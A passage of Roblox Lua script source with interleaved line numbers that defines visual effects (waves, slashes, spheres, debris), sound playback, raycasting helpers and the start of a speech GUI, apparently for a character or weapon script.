    coroutine.resume(coroutine.create(function()
888
        NEWSOUND = IT("Sound", PARENT)
889
        NEWSOUND.Volume = VOLUME
890
        NEWSOUND.Pitch = PITCH
891
        NEWSOUND.SoundId = "http://www.roblox.com/asset/?id="..ID
892
        Swait()
893
        NEWSOUND:play()
894
        game:GetService("Debris"):AddItem(NEWSOUND, 10)
895
    end))
896
    return NEWSOUND
897
end
898
 
899
function CFrameFromTopBack(at, top, back)
900
    local right = top:Cross(back)
901
    return CF(at.x, at.y, at.z, right.x, top.x, back.x, right.y, top.y, back.y, right.z, top.z, back.z)
902
end
903
 
904
function CreateWave(SIZE,WAIT,CFRAME,DOESROT,ROT,COLOR,GROW)
905
    local wave = CreatePart(3, Effects, "Neon", 0, 0.5, COLOR, "Effect", VT(0,0,0))
906
    local mesh = IT("SpecialMesh",wave)
907
    mesh.MeshType = "FileMesh"
908
    mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
909
    mesh.Scale = SIZE
910
    mesh.Offset = VT(0,0,-SIZE.X/8)
911
    wave.CFrame = CFRAME
912
    coroutine.resume(coroutine.create(function(PART)
913
        for i = 1, WAIT do
914
            Swait()
915
            mesh.Scale = mesh.Scale + GROW
916
            mesh.Offset = VT(0,0,-(mesh.Scale.X/8))
917
            wave.Color = C3(r / 255, g / 255, b / 255)
918
            if DOESROT == true then
919
                wave.CFrame = wave.CFrame * CFrame.fromEulerAnglesXYZ(0,ROT,0)
920
            end
921
            wave.Transparency = wave.Transparency + (0.5/WAIT)
922
            if wave.Transparency > 0.99 then
923
                wave:remove()
924
            end
925
        end
926
    end))
927
end
928
 
929
function CreateWave2(SIZE,WAIT,CFRAME,DOESROT,ROT,COLOR,GROW)
930
    local wave = CreatePart(3, Effects, "Neon", 0, 0.5, COLOR, "Effect", VT(0,0,0))
931
    local mesh = IT("SpecialMesh",wave)
932
    mesh.MeshType = "FileMesh"
933
    mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
934
    mesh.Scale = SIZE
935
    wave.CFrame = CFRAME
936
    coroutine.resume(coroutine.create(function(PART)
937
        for i = 1, WAIT do
938
            Swait()
939
            mesh.Scale = mesh.Scale + GROW
940
            wave.Color = C3(r / 255, g / 255, b / 255)
941
            if DOESROT == true then
942
                wave.CFrame = wave.CFrame * CFrame.fromEulerAnglesXYZ(0,ROT,0)
943
            end
944
            wave.Transparency = wave.Transparency + (0.5/WAIT)
945
            if wave.Transparency > 0.99 then
946
                wave:remove()
947
            end
948
        end
949
    end))
950
end
951
 
952
function CreateSwirl(SIZE,WAIT,CFRAME,DOESROT,ROT,COLOR,GROW)
953
    local wave = CreatePart(3, Effects, "Neon", 0, 0.5, COLOR, "Effect", VT(0,0,0))
954
    local mesh = IT("SpecialMesh",wave)
955
    mesh.MeshType = "FileMesh"
956
    mesh.MeshId = "http://www.roblox.com/asset/?id=1051557"
957
    mesh.Scale = SIZE
958
    wave.CFrame = CFRAME
959
    coroutine.resume(coroutine.create(function(PART)
960
        for i = 1, WAIT do
961
            Swait()
962
            mesh.Scale = mesh.Scale + GROW
963
            mesh.Offset = VT(0,0,-(mesh.Scale.X/8))
964
            wave.Color = C3(r / 255, g / 255, b / 255)
965
            if DOESROT == true then
966
                wave.CFrame = wave.CFrame * CFrame.fromEulerAnglesXYZ(0,ROT,0)
967
            end
968
            wave.Transparency = wave.Transparency + (0.5/WAIT)
969
            if wave.Transparency > 0.99 then
970
                wave:remove()
971
            end
972
        end
973
    end))
974
end
975
 
976
 
977
function Slice(SIZE,WAIT,CFRAME,COLOR,GROW)
978
    local wave = CreatePart(3, Effects, "Neon", 0, 0.5, COLOR, "Effect", VT(1,1,1), true)
979
    local mesh = CreateMesh("SpecialMesh", wave, "FileMesh", "448386996", "", VT(0,SIZE/10,SIZE/10), VT(0,0,0))
980
    wave.CFrame = CFRAME
981
    coroutine.resume(coroutine.create(function(PART)
982
        for i = 1, WAIT do
983
            Swait()
984
            mesh.Scale = mesh.Scale * GROW
985
            wave.Color = C3(r / 255, g / 255, b / 255)
986
            wave.Transparency = wave.Transparency + (0.5/WAIT)
987
            if wave.Transparency > 0.99 then
988
                wave:remove()
989
            end
990
        end
991
    end))
992
end
993
 
994
function SpliceSlice(KIND, SIZE, WAIT, CFRAME, COLOR, GROW)
995
    local wave = CreatePart(3, Effects, "Neon", 0, 0.5, BRICKC(COLOR), "Effect", VT(1, 1, 1), true)
996
    local mesh
997
    if KIND == "Base" then
998
        mesh = CreateMesh("SpecialMesh", wave, "FileMesh", "448386996", "", VT(0, SIZE / 10, SIZE / 10), VT(0, 0, 0))
999
    elseif KIND == "Thin" then
1000
        mesh = CreateMesh("SpecialMesh", wave, "FileMesh", "662586858", "", VT(SIZE / 10, 0, SIZE / 10), VT(0, 0, 0))
1001
    elseif KIND == "Round" then
1002
        mesh = CreateMesh("SpecialMesh", wave, "FileMesh", "662585058", "", VT(SIZE / 10, 0, SIZE / 10), VT(0, 0, 0))
1003
    end
1004
    wave.CFrame = CFRAME
1005
    coroutine.resume(coroutine.create(function(PART)
1006
        for i = 1, WAIT do
1007
            Swait()
1008
            mesh.Scale = mesh.Scale + GROW / 10
1009
            wave.Color = C3(r / 255, g / 255, b / 255)
1010
            wave.Transparency = wave.Transparency + 0.5 / WAIT
1011
            if wave.Transparency > 0.99 then
1012
                wave:remove()
1013
            end
1014
        end
1015
    end))
1016
end
1017
 
1018
function MagicSphere(SIZE,WAIT,CFRAME,COLOR,GROW)
1019
    local wave = CreatePart(3, Effects, "Neon", 0, 0, COLOR, "Effect", VT(1,1,1), true)
1020
    local mesh = IT("SpecialMesh",wave)
1021
    mesh.MeshType = "Sphere"
1022
    mesh.Scale = SIZE
1023
    mesh.Offset = VT(0,0,0)
1024
    wave.CFrame = CFRAME
1025
    coroutine.resume(coroutine.create(function(PART)
1026
        for i = 1, WAIT do
1027
            Swait()
1028
            mesh.Scale = mesh.Scale + GROW
1029
            wave.Color = C3(r / 255, g / 255, b / 255)
1030
            wave.Transparency = wave.Transparency + (1/WAIT)
1031
            if wave.Transparency > 0.99 then
1032
                wave:remove()
1033
            end
1034
        end
1035
    end))
1036
end
1037
 
1038
--WACKYEFFECT({EffectType = "", Size = VT(1,1,1), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = CF(), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,1,1), SoundID = nil, SoundPitch = nil, SoundVolume = nil})
1039
function WACKYEFFECT(Table)
1040
    local TYPE = (Table.EffectType or "Sphere")
1041
    local SIZE = (Table.Size or VT(1,1,1))
1042
    local ENDSIZE = (Table.Size2 or VT(0,0,0))
1043
    local TRANSPARENCY = (Table.Transparency or 0)
1044
    local ENDTRANSPARENCY = (Table.Transparency2 or 1)
1045
    local CFRAME = (Table.CFrame or Torso.CFrame)
1046
    local MOVEDIRECTION = (Table.MoveToPos or nil)
1047
    local ROTATION1 = (Table.RotationX or 0)
1048
    local ROTATION2 = (Table.RotationY or 0)
1049
    local ROTATION3 = (Table.RotationZ or 0)
1050
    local MATERIAL = (Table.Material or "Neon")
1051
    local COLOR = (C3(r / 255, g / 255, b / 255))
1052
    local TIME = (Table.Time or 45)
1053
    local SOUNDID = (Table.SoundID or nil)
1054
    local SOUNDPITCH = (Table.SoundPitch or nil)
1055
    local SOUNDVOLUME = (Table.SoundVolume or nil)
1056
    coroutine.resume(coroutine.create(function()
1057
        local PLAYSSOUND = false
1058
        local SOUND = nil
1059
        local EFFECT = CreatePart(3, Effects, MATERIAL, 0, TRANSPARENCY, BRICKC("Pearl"), "Effect", VT(1,1,1), true)
1060
        if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then
1061
            PLAYSSOUND = true
1062
            SOUND = CreateSound(SOUNDID, EFFECT, SOUNDVOLUME, SOUNDPITCH, false)
1063
        end
1064
        EFFECT.Color = COLOR
1065
        local MSH = nil
1066
        if TYPE == "Sphere" then
1067
            MSH = CreateMesh("SpecialMesh", EFFECT, "Sphere", "", "", SIZE, VT(0,0,0))
1068
        elseif TYPE == "Block" or TYPE == "Box" then
1069
            MSH = IT("BlockMesh",EFFECT)
1070
            MSH.Scale = SIZE
1071
        elseif TYPE == "Wave" then
1072
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8))
1073
        elseif TYPE == "Ring" then
1074
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "559831844", "", VT(SIZE.X,SIZE.X,0.1), VT(0,0,0))
1075
        elseif TYPE == "Slash" then
1076
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0))
1077
        elseif TYPE == "Round Slash" then
1078
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0))
1079
        elseif TYPE == "Swirl" then
1080
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0))
1081
        elseif TYPE == "Skull" then
1082
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0))
1083
        elseif TYPE == "Crystal" then
1084
            MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "9756362", "", SIZE, VT(0,0,0))
1085
        end
1086
        if MSH ~= nil then
1087
            local MOVESPEED = nil
1088
            if MOVEDIRECTION ~= nil then
1089
                MOVESPEED = (CFRAME.p - MOVEDIRECTION).Magnitude/TIME
1090
            end
1091
            local GROWTH = SIZE - ENDSIZE
1092
            local TRANS = TRANSPARENCY - ENDTRANSPARENCY
1093
            if TYPE == "Block" then
1094
                EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)))
1095
            else
1096
                EFFECT.CFrame = CFRAME
1097
            end
1098
            for LOOP = 1, TIME+1 do
1099
                Swait()
1100
                MSH.Scale = MSH.Scale - GROWTH/TIME
1101
                if TYPE == "Wave" then
1102
                    MSH.Offset = VT(0,0,-MSH.Scale.X/8)
1103
                end
1104
                EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME
1105
                if TYPE == "Block" then
1106
                    EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)))
1107
                else
1108
                    EFFECT.CFrame = EFFECT.CFrame*ANGLES(RAD(ROTATION1),RAD(ROTATION2),RAD(ROTATION3))
1109
                end
1110
                if MOVEDIRECTION ~= nil then
1111
                    local ORI = EFFECT.Orientation
1112
                    EFFECT.CFrame = CF(EFFECT.Position,MOVEDIRECTION)*CF(0,0,-MOVESPEED)
1113
                    EFFECT.Orientation = ORI
1114
                end
1115
            end
1116
            if PLAYSSOUND == false then
1117
                EFFECT:remove()
1118
            else
1119
                repeat Swait() until EFFECT:FindFirstChildOfClass("Sound") == nil
1120
                EFFECT:remove()
1121
            end
1122
        else
1123
            if PLAYSSOUND == false then
1124
                EFFECT:remove()
1125
            else
1126
                repeat Swait() until EFFECT:FindFirstChildOfClass("Sound") == nil
1127
                EFFECT:remove()
1128
            end
1129
        end
1130
    end))
1131
end
1132
 
1133
function MakeForm(PART,TYPE)
1134
    if TYPE == "Cyl" then
1135
        local MSH = IT("CylinderMesh",PART)
1136
    elseif TYPE == "Ball" then
1137
        local MSH = IT("SpecialMesh",PART)
1138
        MSH.MeshType = "Sphere"
1139
    elseif TYPE == "Wedge" then
1140
        local MSH = IT("SpecialMesh",PART)
1141
        MSH.MeshType = "Wedge"
1142
    end
1143
end
1144
 
1145
 
1146
function Chunks(PART)
1147
    for i = 1, MRANDOM(3,5) do
1148
        coroutine.resume(coroutine.create(function()
1149
            local CHUNK = CreatePart(3, workspace, PART.Material, 0, PART.Transparency, PART.BrickColor, "Chunk", VT(0.3,0.3,0.3)*MRANDOM(7,13)/10, false)
1150
            CHUNK.CFrame = PART.CFrame*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)))
1151
            local CFRAME = PART.CFrame*CF(MRANDOM(-4,4)/2,MRANDOM(-4,4)/2,-6)
1152
            CHUNK.Velocity = CF(PART.Position,CFRAME.p).lookVector*MRANDOM(15,65)
1153
            wait(0.1)
1154
            CHUNK.CanCollide = true
1155
            wait(MRANDOM(15,25)/5)
1156
            for i = 1, 25 do
1157
                Swait()
1158
                CHUNK.Transparency = CHUNK.Transparency + 1/25
1159
            end
1160
            CHUNK:remove()
1161
        end))
1162
    end
1163
end
1164
 
1165
function CreateFlyingDebree(FLOOR,POSITION,AMOUNT,BLOCKSIZE,SWAIT,STRENGTH)
1166
    if FLOOR ~= nil then
1167
        for i = 1, AMOUNT do
1168
            local DEBREE = CreatePart(3, Effects, "Neon", FLOOR.Reflectance, FLOOR.Transparency, "Peal", "Debree", BLOCKSIZE, false)
1169
            DEBREE.Material = FLOOR.Material
1170
            DEBREE.Color = FLOOR.Color
1171
            DEBREE.CFrame = POSITION * ANGLES(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)))
1172
            DEBREE.Velocity = VT(MRANDOM(-STRENGTH,STRENGTH),MRANDOM(-STRENGTH,STRENGTH),MRANDOM(-STRENGTH,STRENGTH))
1173
            coroutine.resume(coroutine.create(function()
1174
                Swait(15)
1175
                DEBREE.Parent = workspace
1176
                DEBREE.CanCollide = true
1177
                Debris:AddItem(DEBREE,SWAIT)
1178
            end))
1179
        end
1180
    end
1181
end
1182
 
1183
function CreateDebreeRing(FLOOR,POSITION,SIZE,BLOCKSIZE,SWAIT)
1184
    if FLOOR ~= nil then
1185
        coroutine.resume(coroutine.create(function()
1186
            local PART = CreatePart(3, Effects, "Plastic", 0, 1, "Pearl", "DebreeCenter", VT(0,0,0))
1187
            PART.CFrame = CF(POSITION)
1188
            for i = 1, 45 do
1189
                local RingPiece = CreatePart(3, Effects, "Plastic", 0, 0, "Pearl", "DebreePart", BLOCKSIZE)
1190
                RingPiece.Material = FLOOR.Material
1191
                RingPiece.Color = FLOOR.Color
1192
                RingPiece.CFrame = PART.CFrame * ANGLES(RAD(0), RAD(i*8), RAD(0)) * CF(SIZE*4, 0, 0) * ANGLES(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)))
1193
                Debris:AddItem(RingPiece,SWAIT/100)
1194
            end
1195
            PART:remove()
1196
        end))
1197
    end
1198
end
1199
 
1200
function CheckTableForString(Table, String)
1201
    for i, v in pairs(Table) do
1202
        if string.find(string.lower(String), string.lower(v)) then
1203
            return true
1204
        end
1205
    end
1206
    return false
1207
end
1208
 
1209
function CheckIntangible(Hit)
1210
    local ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Lightning", "Bullet"}
1211
    if Hit and Hit.Parent then
1212
        if ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then
1213
            return true
1214
        end
1215
    end
1216
    return false
1217
end
1218
 
1219
function CastZapRay(StartPos, Vec, Length, Ignore, DelayIfHit)
1220
    local Direction = CFrame.new(StartPos, Vec).lookVector
1221
    local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore})
1222
    local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Direction * Length), Ignore)
1223
    if RayHit and CheckIntangible(RayHit) then
1224
        if DelayIfHit then
1225
            wait()
1226
        end
1227
        RayHit, RayPos, RayNormal = CastZapRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
1228
    end
1229
    return RayHit, RayPos, RayNormal
1230
end
1231
 
1232
function turnto(position)
1233
    RootPart.CFrame=CFrame.new(RootPart.CFrame.p,VT(position.X,RootPart.Position.Y,position.Z)) * CFrame.new(0, 0, 0)
1234
end
1235
 
1236
function RemoveOutlines(part)
1237
  part.TopSurface, part.BottomSurface, part.LeftSurface, part.RightSurface, part.FrontSurface, part.BackSurface = 10, 10, 10, 10, 10, 10
1238
end
1239
 
1240
local Create = LoadLibrary("RbxUtility").Create
1241
 
1242
function CreatePartb(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
1243
  local Part = Create("Part")({
1244
    Parent = Parent,
1245
    Reflectance = Reflectance,
1246
    Transparency = Transparency,
1247
    CanCollide = false,
1248
    Locked = true,
1249
    BrickColor = BrickColor.new(tostring(BColor)),
1250
    Name = Name,
1251
    Size = Size,
1252
    Material = Material
1253
  })
1254
  Part.CustomPhysicalProperties = PhysicalProperties.new(0.001, 0.001, 0.001, 0.001, 0.001)
1255
  RemoveOutlines(Part)
1256
  return Part
1257
end
1258
 
1259
CFuncs = { 
1260
    ["Part"] = {
1261
        Create = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
1262
            local Part = Create("Part"){
1263
                Parent = Parent,
1264
                Reflectance = Reflectance,
1265
                Transparency = Transparency,
1266
                CanCollide = false,
1267
                Locked = true,
1268
                BrickColor = BrickColor.new(tostring(BColor)),
1269
                Name = Name,
1270
                Size = Size,
1271
                Material = Material,
1272
            }
1273
            RemoveOutlines(Part)
1274
            return Part
1275
        end;
1276
    };
1277
   
1278
    ["Mesh"] = {
1279
        Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
1280
            local Msh = Create(Mesh){
1281
                Parent = Part,
1282
                Offset = OffSet,
1283
                Scale = Scale,
1284
            }
1285
            if Mesh == "SpecialMesh" then
1286
                Msh.MeshType = MeshType
1287
                Msh.MeshId = MeshId
1288
            end
1289
            return Msh
1290
        end;
1291
    };
1292
   
1293
    ["Mesh"] = {
1294
        Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
1295
            local Msh = Create(Mesh){
1296
                Parent = Part,
1297
                Offset = OffSet,
1298
                Scale = Scale,
1299
            }
1300
            if Mesh == "SpecialMesh" then
1301
                Msh.MeshType = MeshType
1302
                Msh.MeshId = MeshId
1303
            end
1304
            return Msh
1305
        end;
1306
    };
1307
   
1308
    ["Weld"] = {
1309
        Create = function(Parent, Part0, Part1, C0, C1)
1310
            local Weld = Create("Weld"){
1311
                Parent = Parent,
1312
                Part0 = Part0,
1313
                Part1 = Part1,
1314
                C0 = C0,
1315
                C1 = C1,
1316
            }
1317
            return Weld
1318
        end;
1319
    };
1320
 
1321
    ["Sound"] = {
1322
        Create = function(id, par, vol, pit)
1323
            coroutine.resume(coroutine.create(function()
1324
                local S = Create("Sound"){
1325
                    Volume = vol,
1326
                                        Name = "EffectSoundo",
1327
                    Pitch = pit or 1,
1328
                    SoundId = id,
1329
                    Parent = par or workspace,
1330
                }
1331
                wait()
1332
                S:play()
1333
                game:GetService("Debris"):AddItem(S, 10)
1334
            end))
1335
        end;
1336
    };
1337
 
1338
    ["TimeSound"] = {
1339
        Create = function(id, par, vol, pit, timepos)
1340
            coroutine.resume(coroutine.create(function()
1341
                local S = Create("Sound"){
1342
                    Volume = vol,
1343
                                        Name = "EffectSoundo",
1344
                    Pitch = pit or 1,
1345
                    SoundId = id,
1346
                                        TimePosition = timepos,
1347
                    Parent = par or workspace,
1348
                }
1349
                wait()
1350
                S:play()
1351
                game:GetService("Debris"):AddItem(S, 10)
1352
            end))
1353
        end;
1354
    };
1355
    ["EchoSound"] = {
1356
        Create = function(id, par, vol, pit, timepos,delays,echodelay,fedb,dryl)
1357
            coroutine.resume(coroutine.create(function()
1358
                local Sas = Create("Sound"){
1359
                    Volume = vol,
1360
                    Name = "EffectSoundo",
1361
                    Pitch = pit or 1,
1362
                    SoundId = id,
1363
                    TimePosition = timepos,
1364
                    Parent = par or workspace,
1365
                }
1366
                local E = Create("EchoSoundEffect"){
1367
                    Delay = echodelay,
1368
                    Name = "Echo",
1369
                    Feedback = fedb,
1370
                    DryLevel = dryl,
1371
                    Parent = Sas,
1372
                }
1373
                wait()
1374
                Sas:play()
1375
                game:GetService("Debris"):AddItem(Sas, delays)
1376
            end))
1377
        end;
1378
    };
1379
 
1380
    ["LongSound"] = {
1381
        Create = function(id, par, vol, pit)
1382
            coroutine.resume(coroutine.create(function()
1383
                local S = Create("Sound"){
1384
                    Volume = vol,
1385
                    Pitch = pit or 1,
1386
                    SoundId = id,
1387
                    Parent = par or workspace,
1388
                }
1389
                wait()
1390
                S:play()
1391
                game:GetService("Debris"):AddItem(S, 60)
1392
            end))
1393
        end;
1394
    };
1395
   
1396
    ["ParticleEmitter"] = {
1397
        Create = function(Parent, Color1, Color2, LightEmission, Size, Texture, Transparency, ZOffset, Accel, Drag, LockedToPart, VelocityInheritance, EmissionDirection, Enabled, LifeTime, Rate, Rotation, RotSpeed, Speed, VelocitySpread)
1398
            local fp = Create("ParticleEmitter"){
1399
                Parent = Parent,
1400
                Color = ColorSequence.new(Color1, Color2),
1401
                LightEmission = LightEmission,
1402
                Size = Size,
1403
                Texture = Texture,
1404
                Transparency = Transparency,
1405
                ZOffset = ZOffset,
1406
                Acceleration = Accel,
1407
                Drag = Drag,
1408
                LockedToPart = LockedToPart,
1409
                VelocityInheritance = VelocityInheritance,
1410
                EmissionDirection = EmissionDirection,
1411
                Enabled = Enabled,
1412
                Lifetime = LifeTime,
1413
                Rate = Rate,
1414
                Rotation = Rotation,
1415
                RotSpeed = RotSpeed,
1416
                Speed = Speed,
1417
                VelocitySpread = VelocitySpread,
1418
            }
1419
            return fp
1420
        end;
1421
    };
1422
 
1423
    CreateTemplate = {
1424
   
1425
    };
1426
}
1427
 
1428
function slash(bonuspeed,rotspeed,rotatingop,typeofshape,type,typeoftrans,pos,scale,value,color)
1429
local type = type
1430
local rotenable = rotatingop
1431
local rng = Instance.new("Part", Effects)
1432
        rng.Anchored = true
1433
        rng.BrickColor = color
1434
        rng.CanCollide = false
1435
        rng.FormFactor = 3
1436
        rng.Name = "Ring"
1437
        rng.Material = "Neon"
1438
        rng.Size = Vector3.new(1, 1, 1)
1439
        rng.Transparency = 0
1440
if typeoftrans == "In" then
1441
rng.Transparency = 1
1442
end
1443
        rng.TopSurface = 0
1444
        rng.BottomSurface = 0
1445
        rng.CFrame = pos
1446
        local rngm = Instance.new("SpecialMesh", rng)
1447
        rngm.MeshType = "FileMesh"
1448
if typeofshape == "Normal" then
1449
rngm.MeshId = "rbxassetid://662586858"
1450
elseif typeofshape == "Round" then
1451
rngm.MeshId = "rbxassetid://662585058"
1452
end
1453
rngm.Scale = scale
1454
local scaler2 = 1/10
1455
if type == "Add" then
1456
scaler2 = 1*value/10
1457
elseif type == "Divide" then
1458
scaler2 = 1/value/10
1459
end
1460
local randomrot = MRANDOM(1,2)
1461
coroutine.resume(coroutine.create(function()
1462
for i = 0,10/bonuspeed,0.1 do
1463
Swait()
1464
if type == "Add" then
1465
scaler2 = scaler2 - 0.01*value/bonuspeed/10
1466
elseif type == "Divide" then
1467
scaler2 = scaler2 - 0.01/value*bonuspeed/10
1468
end
1469
if rotenable == true then
1470
if randomrot == 1 then
1471
rng.CFrame = rng.CFrame*CFrame.Angles(0,RAD(rotspeed*bonuspeed/2),0)
1472
elseif randomrot == 2 then
1473
rng.CFrame = rng.CFrame*CFrame.Angles(0,RAD(-rotspeed*bonuspeed/2),0)
1474
end
1475
end
1476
if typeoftrans == "Out" then
1477
rng.Transparency = rng.Transparency + 0.01*bonuspeed
1478
elseif typeoftrans == "In" then
1479
rng.Transparency = rng.Transparency - 0.01*bonuspeed
1480
end
1481
rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed/10, 0, scaler2*bonuspeed/10)
1482
end
1483
rng:Destroy()
1484
end))
1485
end
1486
 
1487
function block(bonuspeed,type,pos,scale,value,value2,value3,color,color3)
1488
local type = type
1489
local rng = Instance.new("Part", Effects)
1490
        rng.Anchored = true
1491
        rng.BrickColor = color
1492
        rng.Color = color3
1493
        rng.CanCollide = false
1494
        rng.FormFactor = 3
1495
        rng.Name = "Ring"
1496
        rng.Material = "Neon"
1497
        rng.Size = Vector3.new(1, 1, 1)
1498
        rng.Transparency = 0
1499
        rng.TopSurface = 0
1500
        rng.BottomSurface = 0
1501
        rng.CFrame = pos
1502
        local rngm = Instance.new("SpecialMesh", rng)
1503
        rngm.MeshType = "Brick"
1504
rngm.Scale = scale
1505
local scaler2 = 1
1506
local scaler2b = 1
1507
local scaler2c = 1
1508
if type == "Add" then
1509
scaler2 = 1*value
1510
scaler2b = 1*value2
1511
scaler2c = 1*value3
1512
elseif type == "Divide" then
1513
scaler2 = 1/value
1514
scaler2b = 1/value2
1515
scaler2c = 1/value3
1516
end
1517
coroutine.resume(coroutine.create(function()
1518
for i = 0,10/bonuspeed,0.1 do
1519
Swait()
1520
if type == "Add" then
1521
scaler2 = scaler2 - 0.01*value/bonuspeed
1522
scaler2b = scaler2b - 0.01*value/bonuspeed
1523
scaler2c = scaler2c - 0.01*value/bonuspeed
1524
elseif type == "Divide" then
1525
scaler2 = scaler2 - 0.01/value*bonuspeed
1526
scaler2b = scaler2b - 0.01/value*bonuspeed
1527
scaler2c = scaler2c - 0.01/value*bonuspeed
1528
end
1529
rng.CFrame = rng.CFrame*CFrame.Angles(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)))
1530
rng.Transparency = rng.Transparency + 0.01*bonuspeed
1531
rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed, scaler2b*bonuspeed, scaler2c*bonuspeed)
1532
end
1533
rng:Destroy()
1534
end))
1535
end
1536
 
1537
function createBGCircle(size,parent,color)
1538
local bgui = Instance.new("BillboardGui",parent)
1539
bgui.Size = UDim2.new(size, 0, size, 0)
1540
local imgc = Instance.new("ImageLabel",bgui)
1541
imgc.BackgroundTransparency = 1
1542
imgc.ImageTransparency = 0
1543
imgc.Size = UDim2.new(1,0,1,0)
1544
imgc.Image = "rbxassetid://997291547" --997291547,521073910
1545
imgc.ImageColor3 = color
1546
return bgui,imgc
1547
end
1548
 
1549
function symbolizeBlink(guipar,size,img,color,bonussize,vol,pit,soundid,spar,rotationenabled,rotsp,delay)
1550
local bgui,imgc = createBGCircle(size,guipar,color)
1551
bgui.AlwaysOnTop = true
1552
imgc.Image = "rbxassetid://" ..img
1553
local rrot = MRANDOM(1,2)
1554
CFuncs["Sound"].Create("rbxassetid://" ..soundid, spar, vol,pit)
1555
coroutine.resume(coroutine.create(function()
1556
for i = 0, 24*delay do
1557
Swait()
1558
if rotationenabled == true then
1559
if rrot == 1 then
1560
imgc.Rotation = imgc.Rotation + rotsp
1561
elseif rrot == 2 then
1562
imgc.Rotation = imgc.Rotation - rotsp
1563
end
1564
end
1565
bgui.Size = bgui.Size + UDim2.new(1*bonussize/delay,0,1*bonussize/delay,0)
1566
imgc.ImageTransparency = imgc.ImageTransparency + 0.04/delay
1567
end
1568
bgui:Destroy()
1569
end))
1570
end
1571
 
1572
function sphere2(bonuspeed,type,pos,scale,value,value2,value3,color)
1573
    local type = type
1574
    local rng = Instance.new("Part", Effects)
1575
    rng.Anchored = true
1576
    rng.BrickColor = color
1577
    rng.CanCollide = false
1578
    rng.FormFactor = 3
1579
    rng.Name = "Ring"
1580
    rng.Material = "Neon"
1581
    rng.Size = Vector3.new(1, 1, 1)
1582
    rng.Transparency = 0
1583
    rng.TopSurface = 0
1584
    rng.BottomSurface = 0
1585
    rng.CFrame = pos
1586
    local rngm = Instance.new("SpecialMesh", rng)
1587
    rngm.MeshType = "Sphere"
1588
    rngm.Scale = scale
1589
    local scaler2 = 1
1590
    local scaler2b = 1
1591
    local scaler2c = 1
1592
    if type == "Add" then
1593
        scaler2 = 1*value
1594
        scaler2b = 1*value2
1595
        scaler2c = 1*value3
1596
    elseif type == "Divide" then
1597
        scaler2 = 1/value
1598
        scaler2b = 1/value2
1599
        scaler2c = 1/value3
1600
    end
1601
    coroutine.resume(coroutine.create(function()
1602
        for i = 0,10/bonuspeed,0.1 do
1603
            Swait()
1604
            if type == "Add" then
1605
                scaler2 = scaler2 - 0.01*value/bonuspeed
1606
                scaler2b = scaler2b - 0.01*value/bonuspeed
1607
                scaler2c = scaler2c - 0.01*value/bonuspeed
1608
            elseif type == "Divide" then
1609
                scaler2 = scaler2 - 0.01/value*bonuspeed
1610
                scaler2b = scaler2b - 0.01/value*bonuspeed
1611
                scaler2c = scaler2c - 0.01/value*bonuspeed
1612
            end
1613
            rng.Transparency = rng.Transparency + 0.01*bonuspeed
1614
            rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed, scaler2b*bonuspeed, scaler2c*bonuspeed)
1615
        end
1616
        rng:Destroy()
1617
    end))
1618
end
1619
 
1620
function createSpeech(parent, text, font, textcolor, debris)
1621
    -- Instances:
1622
    local SpeechUi = Instance.new("ScreenGui")
1623
    local SpeechFrame = Instance.new("Frame")
1624
    local SpeechLabel = Instance.new("TextLabel")
1625
    --Properties:
1626
    SpeechUi.Name = "SpeechUi"
1627
    SpeechUi.Parent = parent
1628
   
1629
    SpeechFrame.Name = "SpeechFrame"
1630
    SpeechFrame.Parent = SpeechUi
1631
    SpeechFrame.BackgroundColor3 = C3(0, 0, 0)
1632
    SpeechFrame.BackgroundTransparency = 0.5
1633
    SpeechFrame.BorderColor3 = C3(0, 0, 0)
1634
    SpeechFrame.BorderSizePixel = 0
1635
    SpeechFrame.Position = UDim2.new(0, 0, 0.646566153, 0)
1636
    SpeechFrame.Size = UDim2.new(1, 0, 0.185929641, 100)
1637
   
1638
    SpeechLabel.Name = "SpeechLabel"
1639
    SpeechLabel.Parent = SpeechFrame
1640
